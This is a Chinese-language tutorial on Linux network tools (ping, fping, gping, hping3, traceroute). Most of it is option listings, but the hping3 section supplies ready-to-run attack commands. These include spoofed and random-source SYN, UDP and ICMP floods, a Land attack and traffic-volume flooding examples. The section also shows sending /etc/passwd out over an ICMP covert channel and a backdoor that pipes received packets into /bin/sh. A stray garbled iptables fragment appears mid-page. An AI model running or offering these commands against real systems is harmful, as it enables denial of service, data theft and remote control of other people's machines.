linux 命令:ping、fping、gping、hping3、tracert、traceroute

2023-11-04

From: Nmap、Netcat、Hping3工具对比:http://www.2cto.com/article/201210/158961.html

​hping3 命令:http://man.linuxde.net/hping3

示例:Testing firewall rules with Hping3 :https://www.docin.com/p-745382113.html

在线 ping 工具

1、ping 命令 用法

ping 命令  http://man.linuxde.net/ping

ping 主要是判断主机之间网络是否畅通,同时可以判断是否存活,但是如果防火墙禁用了 ICMP 报文,就是禁止 ping,就无法 ping 通,没法判断主机存活。

windows 平台 ping

Linux 平台 ping

2、fping

官网:http://www.fping.org/

fping 是一个向网络主机发送 ICMP 回显探测的程序,类似于 ping,但在 ping 多个主机时性能要好得多。fping 就是 ping 的加强版,可以对一个 IP段 进行 ping 扫描。

fping 用法

fping -h
用法:fping [选项] [目标...]

探测选项:
   -4, --ipv4          仅 ping IPv4 地址
   -6, --ipv6          仅 ping IPv6 地址
   -b, --size=BYTES    发送的 ping 数据包的大小。以字节为单位(默认值:56)
   -B, --backoff=N     将指数退避因子设置为 N(默认值:1.5)
   -c, --count=N       向每个目标发送 ping 的数量。(默认 1)
   -f, --file=FILE     从文件中读取目标列表( - 表示标准输入)
   -g, --generate      生成目标列表(仅当未指定 -f 时)
                      (在目标列表中给出开始和结束 IP,或 CIDR 地址)
                      (例如 fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)
   -H, --ttl=N         设置 IP 的 TTL 值(Time To Live hops)
   -I, --iface=IFACE   指定网卡接口,就是从那个网卡接口发送 ping
   -l, --loop          循环模式:永远发送 ping
   -m, --all           使用所提供hostnames的所有 IP(例如 IPv4 和 IPv6),与 -A 一起使用
                       即 ping 目标主机的多个网口
   -M, --dontfrag      设置不分片标志
   -O, --tos=N         在 ICMP 数据包上设置服务类型 (tos) 标志
   -p, --period=Ping   对同一个目标的ping包间隔(毫秒)
                       (在循环和统计模式中,默认为1000)                     
   -r, --retry=N       当ping失败时,最大重试次数( 默认为3次 )
   -R, --random        随机数据包数据(用于阻止链接数据压缩)
   -S, --src=IP        设置源IP地址
   -t, --timeout=MSEC  单个目标的超时时间(毫秒)
                      (默认值:500 毫秒,除了 -l/-c/-C,它的 -p 周期最长为 2000 毫秒)

输出选项:
   -a, --alive            显示活动的目标。即可ping通的目标
   -A, --addr             按IP地址显示目标
   -C,--vcount=N         同-c,以详细格式报告结果
   -d, --rdns             按名称显示目标(强制反向 DNS 查找)
   -D, --timestamp        在每个输出行之前打印时间戳
   -e, --elapsed          显示返回数据包经过的时间
   -i, --interval=MSEC    ping 数据包之间的 MSEC 间隔(默认值:10 毫秒)
   -n, --name             按名称显示目标(目标 IP 的反向 DNS 查找)
   -N, --netdata          兼容 netdata 的输出(需要 -l -Q)
   -o, --outage           显示累计中断时间(丢包*包间隔)
   -q, --quiet            安静模式(不显示每个目标或每个ping的结果)
   -Q, --squiet=SECS      同-q, 但是,每n秒显示信息概要
   -s, --stats            打印最终统计数据
   -u, --unreach          显示不可到达的目标
   -v, --version          显示版本
   -x, --reachable=N      显示 >=N 主机是否可达

示例:

fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20
fping -a -A -g 192.168.100.0/24
fping -A www.baidu.com -m

3、gping

github:https://github.com/orf/gping

ping 基于文本形式,缺少可读性,gping 是基于 Rust 编写可视化工具,具有动态图形化界面显示,可以实时查看网络连通情况。gping  就是带有图表的 Ping

gping 特点:

  • 绘制多个主机的 ping 时间图
  • 通过 --cmd 参数 绘制命令的执行时间
  • 自定义颜色
  • Windows、Mac 和 Linux 支持

用法:gping  域名/ip

示例:查看多个域名:gping www.baidu.com www.qq.com

4、hping、hping3

官网:http://www.hping.org/

hping、hping3 核心应用:灵活地构建 TCP、IP 数据包

hping 是命令行下使用 TCP/IP 来 组装/分析 数据包的开源工具。作者是 Salvatore Sanfilippo,界面灵感来自 ping(8)unix 命令,目前最新版是 hping3,它支持 TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用 tcl 脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

Nmap 团队也开发了一款类似的工具 Nping,集成在 Nmap 的安装包中。

hping  通常被用在 web 服务,用来做压力测试使用,进行DOS攻击实验。hping3 缺点是每次只能扫描一次目标。虽然 hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 hping 的一小部分内容:

  • 防火墙测试
  • 高级端口扫描
  • 网络测试,使用不同的协议,TOS,分片
  • 手动路径 MTU 发现
  • 在所有支持的协议下,高级 traceroute
  • 远程操作系统指纹
  • 远程正常运行时间猜测
  • TCP/IP 协议栈审计
  • hping 也可以用于学习TCP/IP的学生

hping3 参数

hping3 -h
用法: hping3 host [options]
  -h  --help       显示帮助
  -v  --version    显示版本
  -c  --count      发送数据包的数目
  -i  --interval   每个数据包的时间间隔 (uX X表示微秒, 示例:-i u1000)
      --fast       等价 -i u10000 (每秒发送10个数据包)
      --faster     等价 -i u1000 (每秒发送100个数据包)
      --flood      尽最快发送数据包,不显示回复。
  -n  --numeric    数字化输出,象征性输出主机地址。
  -q  --quiet      安静模式
  -I  --interface  网卡接口 (默认是路由接口)
  -V  --verbose    详细模式
  -D  --debug      调试信息
  -z  --bind       绑定 ctrl+z 到 ttl (默认为目的端口)
  -Z  --unbind     取消绑定 ctrl+z 键
      --beep       对于接收到的每个匹配数据包蜂鸣声提示

模式 选择
  default mode     TCP     // 默认模式是 TCP
  -0  --rawip      原始 IP模式。即裸IP方式。使用 RAWSOCKET 方式。
                   在此模式下 hping 会发送带数据的IP头。
  -1  --icmp       ICMP 模式
  -2  --udp        UDP  模式
  -8  --scan       扫描 模式。示例:hping --scan 1-30,70-90 -S www.target.host                   
  -9  --listen     监听 模式

IP 模式 
  -a  --spoof      源地址欺骗。
                   伪造IP攻击,防火墙就不会记录你的真实IP,当然回应的包你也接收不到。
  --rand-dest      随机目的地址模式。详细使用 man 命令
  --rand-source    随机源地址模式。详细使用 man 命令
  -t  --ttl        设置 ttl (默认 64)
  -N  --id         设置 hping 中的 ID 值,默认随机值
  -W  --winid      使用 win* id 字节顺序。
                   使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,
				   选项可以让你的ID回应和WINDOWS一样。
  -r  --rel        相对id字段(估计主机流量)。更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
  -f  --frag       拆分数据包成更多的 frag。即 一个数据包 分段 成多个数据包,
                   可以测试对方或者交换机碎片处理能力,缺省16字节。(可能会通过弱的ACL限制)
  -x  --morefrag   设置更多的分段标志。大量碎片,泪滴攻击。
  -y  --dontfrag   设置不分段的标志。即发送不可恢复的IP碎片,
                   通过这个可以让你了解更多的 MTU PATH DISCOVERY。
  -g  --fragoff    设置断偏移。
  -m  --mtu        设置虚拟MTU值,如果 packet size > mtu 时,实现 --frag。
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     显示路由缓存,包括 RECORD_ROUTE 选项
  --lsrr           松散源路由和路由记录
  --ssrr           严格的源路由和路由记录
  -H  --ipproto    设置 IP 协议字段,仅在 RAW IP 模式下使用

ICMP 模式
  -C  --icmptype    icmp 类型 (默认回显请求)
  -K  --icmpcode    icmp 码 (默认 0)
      --force-icmp  发送所有 icmp 类型 (默认只发送支持的类型)
      --icmp-gw     设置ICMP重定向网关。(默认0.0.0.0)    // ICMP重定向
      --icmp-ts     等同 --icmp --icmptype 13 (ICMP 时间戳)
      --icmp-addr   等同 --icmp --icmptype 17 (ICMP 地址 子网 掩码)
      --icmp-help   显示其他icmp选项帮助      // ICMP帮助

UDP/TCP 模式
  -s  --baseport   源端口 (默认随机)
  -p  --destport   [+][+]<port> 目的端口(默认 0) ctrl+z inc/dec
  -k  --keep       保持源端口。即源端口不关闭,一直处于监听状态
  -w  --win        winsize (default 64)。win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff     伪造 tcp 数据偏移量(用来代替 "tcp地址长度 / 4" )
  -Q  --seqnum     仅显示tcp序列号
  -b  --badcksum   (尝试) 发送带有错误checksum的IP数据包。                  
                   许多系统将修复发送数据包的IP校验和。
                   所以你会得到错误UDP/TCP校验和。
  -M  --setseq     设置TCP序列号 
  -L  --setack     set TCP ack ( 注意:不是设置 TCP ACK 的 flag )
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag (注意:设置 TCP ACK 的 flag )
  -U  --urg        set URG flag  // 一大堆IP数据包头的设置。
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        用给定的值,启用并设置 TCP MSS
  --tcp-timestamp  启用 TCP时间戳 来猜测 HZ/uptime

用用设置
  -d  --data        数据大小 ( 默认是 0 )
  -E  --file        从文件获取数据
  -e  --sign        添加 'signature'
  -j  --dump        转储为16进制数据包
  -J  --print       转储为可打印字符
  -B  --safe        启用“安全”协议
  -u  --end         告诉 --file 何时到达 EOF 并阻止倒回。
  -T  --traceroute  追踪模式。( 等同 --bind and --ttl 1 )
  --tr-stop         在 追踪模式 下收到第一个不是ICMP时退出
  --tr-keep-ttl     保持源 TTL 固定,对仅监控一跳很有用
  --tr-no-rtt       不要在 traceroute 模式下计算/显示 RTT 信息
ARS 数据包描述(新增功能,不稳定的)
  --apd-send        发送用 APD 描述的数据包 (参见 docs/APD.txt)

hping3 的使用

hping3 -c 5000 -d 150 -S -w 64 -p 81 --flood 1.1.1.1         -----  打400M TCP SYN流量
hping3 -c 999999999 -d 150 -S -w 64 -p 81 -i u1000  1.1.1.1  ---- 打1.5M TCP SYN流量
hping3 -c 999999999 -d 150 -w 64 -p 81 -i u10 1.1.1.1 -2     ---- 组合限速,打100M UDP流量

防火墙测试

参考:http://0daysecurity.com/articles/hping3_examples.html
使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack 方式测试目标防火墙( Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接 )。

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

端口扫描

Hping3 也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0 -S -p 80 -c 5 192.168.1.107   # 端口扫描

其中-I eth0 指定使用eth0端口,-S 指定TCP包的标志位SYN,-p 80指定探测的目的端口。 

hping3 支持非常丰富的端口探测方式,nmap 拥有的扫描方式 hping3 几乎都支持(除开 connect方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。

Idle 扫描

Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。 

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

DoS 攻击方法

使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用 1000 微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。

随机 源IP 的 Dos 攻击

hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com

hping3 -S -U --flood -V --rand -source IP

-c 100000 发送数据包的数量
-d 120    发送数据包的大小
-S        只发送SYN 数据包
-w 64     TCP window的大小.
-p 21     目的端口号
--flood   尽可能快的发送,不显示回显。
--rand-source  使用随机的Source IP Addresses 或者使用 -a or spoof to hide hostnames

ICMP flood

ICMP 的泛洪攻击是在最小时间内发送最大的ICMP数据到目标机,例如使用ping指令。在"旧"时代它使用一个巨大的ping(死亡之ping)是可能破坏机器,希望这些时间已经过去,但它仍有可能攻击任何机器的带宽和处理时间,如果接受到这种ICMP数据包。

命令:hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2
-q 表示quiet, -n 表示无 name resolving, id 0 表示有ICMP echo request (ping)
-d i表示包的大小 (56 is the normal size for a ping).
某些系统配置中自动地丢弃这种通过hping生成的头部设定不正确的ICMP包(例如不可能设置带顺序的ID)。在这种情况下,您可以使用Wireshark嗅探正常的ICMP回显请求报文,将其保存为二进制文件,并使用hping3重播。

示例:hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./icmp_echo_request.bin" -d 64 --flood 192.168.0.2

UDP flood

命令:hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
对于UDP,你必须精确的知道源和目的端口,这里我选择了DNS和BOOTPC(的dhclient)端口。该BOOTPC(68)端口经常在个人电脑开着,因为大多数人使用DHCP来自己连接到网络。
ame blacklist_180 --set -m comment --comment"Blacklist source IP" -j DROP

SYN flood

SYN泛洪是最常用的扫描技术,以及这样做的原因是因为它是最危险的。 SYN泛洪在于发送大量的TCP数据包只有SYN标志。因为SYN报文用来打开一个TCP连接,受害人的主机将尝试打开这些连接。这些连接,存储的连接表中,将继续开放一定的时间,而攻击者不断涌入与SYN数据包。一旦受害者的连接表被填满时,它不会接受任何新的连接,因此,如果它是一个服务器这意味着它已不再被任何人访问。
示例:hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2

其他 SYN flood 攻击

有许多使用TCP泛洪的可能性。如你所愿刚才设置的各种TCP标志。某些TCP泛洪技术包括制定了很多不寻常的标志扰乱。例如与SARFU扫描
示例:hping3 -q -n -a 10.0.0.1 -SARFU -p 22 --flood 192.168.0.2

Land 攻击

Land 攻击原理是:用一个特别打造的SYN包,它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留,直到超时,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续5分钟)

nmap 扫描 确定开放端口

Network Mapper,是Linux下的一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统

nmap v sA n www.yourorg.com oA firewallaudit

ARP攻击 / ARP欺骗

工具: ettercap

文件传输

Hping3 支持通过 TCP/UDP/ICMP 等包来进行文件传输。相当于借助 TCP/UDP/ICMP 包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。

在接收端开启服务,监听 ICMP 包中的签名,根据签名解析出文件内容。
hping3 192.168.1.159 --listen signature --safe --icmp

在发送端使用签名打包的ICMP包发送文件:
hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd

将 /etc/passwd 密码文件通过 ICMP 包传给 192.168.10.44 主机。
发送包大小为100字节(-d 100),发送签名为 signature (-sign signature)。

木马功能

如果 Hping3 能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。 

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

在木马启动端:
hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:
echo ls > test.cmd 
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含ls命令的文件加上签名 signature 发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。 

5、tracert、traceroute

traceroute 是用来追踪出送数据包的主机到目标主机之间所经过的网关的工具。其实就是追踪路由的工具。通过 traceroute 可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。

traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 traceroute 要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其IP地址。

Windows 命令:tracert

linux 命令:traceroute

用法:traceroute [ -46dFITnreAUDV ] [ -f first_ttl ] [ -g gate,... ] [ -i device ] [ -m max_ttl ] [ -N squeries ] [ -p port ] [ -t tos ] [ -l flow_label ] [ -w MAX,HERE,NEAR ] [ -q nqueries ] [ -s src_addr ] [ -z sendwait ] [ --fwmark=num ] host [ packetlen ]

帮助:traceroute --help

选项:
  -4                    使用 IPv4
  -6                    使用 IPv6
  -d --debug            启用套接字级调试
  -F --dont-fragment    不分片数据包
  -f first_ttl --first=first_ttl    从 first_ttl 跃点开始(而不是从 1 开始)
  -g gate,...  --gateway=gate,...   通过指定的网关发送数据包(IPv4 最多8个,IPv6 最多 127 个)
  -I --icmp                         使用 ICMP ECHO 进行跟踪
  -T --tcp                          使用 TCP SYN 进行跟踪(默认端口为 80)
  -i device  --interface=device     指定要使用的网络接口
  -m max_ttl --max-hops=max_ttl     设置最大跳数(最大 TTL 为到达)。默认值为 30
  -N squeries  --sim-queries=squeries 设置尝试的探测次数(默认为 16)
  -n                                  不将 IP 地址解析为其域名  
  -p port --port=port    设置要使用的目标端口。 
                         要么是 默认 方法的初始 udp 端口值(每个探针递增,默认值为 33434),
						 要么是 icmp 的初始 seq(也递增,默认从 1),
						 或者其他方法的某个恒定目标端口(使用 tcp 默认为 80,udp 默认为 53,等等)
  -t tos --tos=tos       设置 TOS (即 IPv4 服务类型) 或 TC(Pv6 traffic class)传出数据包的值
  -l flow_label --flowlabel=flow_label    对 IPv6 数据包使用指定的 flow_label
  -w MAX,HERE,NEAR --wait=MAX,HERE,NEAR   等待探测的时间不超过 HERE(默认 3)倍于来自同一跃点的响应,
                                          或不超过 NEAR(默认 10)倍于某个下一跃点,
                                          或 MAX(默认 5.0)秒(也允许浮点值) )                        
  -q nqueries --queries=nqueries     设置每跳的探测数。默认为 3
  -r                                 绕过正常路由,直接发送到连接网络上的主机
  -s src_addr --source=src_addr      将源 src_addr 用于传出数据包
  -z sendwait  --sendwait=sendwait   探测之间的最小时间间隔(默认 0)。 
                                     如果该值大于 10,则它指定一个以毫秒为单位的数字,
                                     否则它是一个秒数(也允许浮点值)                              
  -e --extensions         显示 ICMP 扩展(如果存在),包括 MPLS
  -A --as-path-lookups    在路由注册表中执行 AS 路径查找,并在对应地址后直接打印结果
  -M name --module=name   使用指定的模块(内置或外部)进行跟踪路由操作。 
                          大多数方法都有它们的快捷方式(`-I' 表示 `-M icmp' 等)
  -O OPTS,...  --options=OPTS,...
                              使用特定模块的 OPTS 选项来跟踪路由模块。
							  允许多个 OPTS,OPTS之间用逗号分隔。
                              如果 OPTS 是 help,则打印 options 的帮助信息。
  --sport=num                 将源端口号用于传出数据包。等同 -N 1
  --fwmark=num                为传出数据包设置防火墙标记
  -U  --udp                   使用 UDP 到特定端口进行跟踪路由(而不是增加每个探测的端口),默认端口为 53
  -UL                         使用 UDPLITE 进行跟踪路由(默认目标端口是 53)
  -D --dccp                   使用 DCCP 请求进行跟踪路由(默认端口是 33434)
  -P prot --protocol=prot     使用 protocol prot 的原始数据包进行tracerouting
  --mtu                       Discover MTU along the path being traced. 等同 '-F -N 1'
  --back              猜测反向路径的跳数和,如果不同则打印
  -V --version        打印版本信息并退出
  --help              阅读此帮助并退出

参数:
+     host          要追踪的数据
      packetlen     完整的数据包长度(默认为 IP 标头长度加上 40)。 可以忽略或增加到最小允许值

示例:

traceroute www.baidu.com      # 查看我们访问百度经过的网关
traceroute -d www.baidu.com  # 访问百度并且不将地址解析成主机名。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux 命令:ping、fping、gping、hping3、tracert、traceroute 的相关文章

  • 在 Linux 中禁用历史记录 [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 要在 Linux 环境中禁用历史记录 我执行了以下命令 export HISTFILESIZE 0 export HISTSIZE 0 u
  • awk: hping: 打印 icmp 发起/接收之间的差异

    我有以下输出hping http ports su net hping在 OpenBSD 上 hping icmp ts www openbsd org HPING www openbsd org re0 129 128 5 194 icm
  • 仅当重复行与模式匹配时才删除它们

    这个问题 https stackoverflow com questions 1444406 how can i delete duplicate lines in a file in unix有一个很好的答案说你可以使用awk seen
  • shell脚本中的\r字符

    我在尝试执行 shell 脚本时收到以下错误 r command not found line 2 请提出同样的解决方案 以下是脚本中使用的初始行 bin sh if lt 1 then echo ERROR Environment arg
  • 如何在 shell 脚本中操作 $PATH 元素?

    有没有一种惯用的方法从类似 PATH 的 shell 变量中删除元素 这就是我想要的 PATH home joe bin usr local bin usr bin bin path to app bin and remove or rep
  • chown:不允许操作

    我有问题 我需要通过 php 脚本为系统中的不同用户设置文件所有者权限 所以我通过以下命令执行此操作 其中 1002 是系统的用户 ID file put contents filename content system chown 100
  • 如何在数组中存储包含双引号的命令参数?

    我有一个 Bash 脚本 它生成 存储和修改数组中的值 这些值稍后用作命令的参数 对于 MCVE 我想到了任意命令bash c echo 0 0 echo 1 1 这解释了我的问题 我将用两个参数调用我的命令 option1 without
  • 如何在 Linux shell 中将十六进制转换为 ASCII 字符?

    假设我有一个字符串5a 这是 ASCII 字母的十六进制表示Z 我需要找到一个 Linux shell 命令 它将接受一个十六进制字符串并输出该十六进制字符串代表的 ASCII 字符 所以如果我这样做 echo 5a command im
  • 如何通过保持目录结构完整来同步路径中匹配模式的文件?

    我想将所有文件从服务器 A 复制到服务器 B 这些文件在不同级别的文件系统层次结构中具有相同的父目录名称 例如 var lib data sub1 sub2 commonname filetobecopied foo var lib dat
  • 如何从我自己的脚本向 Fish shell 提供制表符补全?

    我运行的是 Ubuntu 13 10 和 Fish 2 1 0 我想自己编写一个 Python 脚本来从命令行执行一些任务 该脚本将需要命令行参数 我怎样才能编写我的脚本 以便 Fish 可以请求并获取给定参数的可能值 潜在值列表是动态的
  • 如何在 PHP 中运行 shell 脚本?

    我正在尝试使用 PHP 触发 shell 脚本的运行 本质上 当用户在我们用 PHP 编写的网站上完成一个操作时 我们希望触发一个 shell 脚本 该脚本本身调用一个 Java 文件 提前致谢 See shell exec http ph
  • 通过 sed 使用 unix 变量将数据附加到每行末尾[重复]

    这个问题在这里已经有答案了 我有一个文件 我想使用 SED 将值附加到每行末尾的 unix 变量中 我已经通过 AWK 实现了这一点 但我想在 SED 中实现 像这样的东西 我已经尝试过以下命令 但它不起作用 sed i s BATCH R
  • 如何使用 sed 将空格替换为 \(space)?

    当我使用 sed 将所有空格替换为 X 时 该命令有效 命令为 sed s X g filelist tmp 但是 当我尝试用 space 替换所有出现的空格时 代码是 sed s g filelist tmp 这不起作用 我究竟做错了什么
  • bash循环跳过注释行

    我正在循环文件中的行 我只需要跳过以 开头的行 我怎么做 bin sh while read line do if line doesn t start with then echo line fi done lt tmp myfile 谢
  • Shell 脚本中的块注释

    有没有一种简单的方法可以注释掉 shell 脚本中的代码块 In bash bin bash echo before comment lt lt END bla bla blurfl END echo after comment The a
  • npm 运行如何工作?

    当我打字时会发生什么npm run
  • Bash 参数引号和 eval

    我编写了一个 bash 日志记录库 用我公司当前正在使用的一些复杂脚本来实现 在进行日志调用时 我一直致力于提供调用脚本的脚本文件名 BASH SOURCE 和行号 LINENO 但是 我不想依赖用户或实现脚本来将这两个变量作为参数传递 如
  • shell解析json并循环输出组合变量

    杰斯克喜欢我之前的话题 https stackoverflow com questions 74063588 shell parsing json contains spaces in string 我知道如何解析带有空格的简单 json
  • Bash - 比较 2 个文件列表及其 md5 校验和

    我有 2 个列表 其中包含带有 md5sum 检查的文件 即使文件相同 列表也具有不同的路径 我想检查每个文件的 md5 和 我们正在讨论数千个文件 这就是为什么我需要脚本来仅显示差异 第一个列表是普通列表 第二个列表是文件的当前状态 我想
  • exec()、shell_exec()、curl_exec() 的安全漏洞

    有时 我会使用 exec shell exec 和curl exec 以下是典型用途 假设其中有 PHP 变量 即第一个变量中的 html 用户有可能修改其内容 从安全漏洞的角度来看 我应该关注什么 escapeshellcmd 和 esc

随机推荐